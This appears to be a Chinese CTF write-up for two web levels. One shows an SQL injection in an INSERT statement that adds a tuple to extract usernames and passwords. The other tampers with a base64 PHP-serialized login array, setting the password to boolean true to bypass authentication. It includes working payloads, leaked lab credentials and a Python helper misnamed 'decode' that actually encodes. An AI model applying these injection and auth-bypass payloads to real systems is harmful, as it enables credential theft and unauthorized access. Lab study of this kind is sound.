level9:(insert)
一个提交文章的界面,提交后文章可显示在前端
注入点在第三个输入框,因为输入单引号会报错(引号都不能用写个der的文章xD)
后端语句为
insert into art (name, title, content) values ('pay1','pay2','pay3');
利用values后可以接多个元组,构造payload
autor=aaa&title=aaa&text=aaa'),((select group_concat(username,password) from level9_users limit 0,1),'aaa','aaa&post=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
得到第一条用户的账号密码
<br>Autor: aaa <br>Title: aaa <br>aaa <br><br>Autor: TheBlueFlowerthis_oassword_is_SEC//Ure.promised! <br>Title: aaa <br>aaa <br><br>
level10:
抓包,发现post数据中的神秘代码
login=YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9&dologin=Login
login那一串盲猜base64,果不其然是
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}
这是php的序列化数组,稍微改一下再发包
a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";s:12:"0815password";}
提示login incorrect。于是换了好几个sqli万能密码,都没用。看wp,发现只要把password改成True就行了哈哈哈哈
a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}
最后贴一下python base64encode的函数,python里要转成字节流什么的特麻烦
import base64
def decode(str):
#转成bytes string
bytesString = str.encode(encoding="utf-8")
#base64 编码
encodestr = base64.b64encode(bytesString)
return encodestr.decode()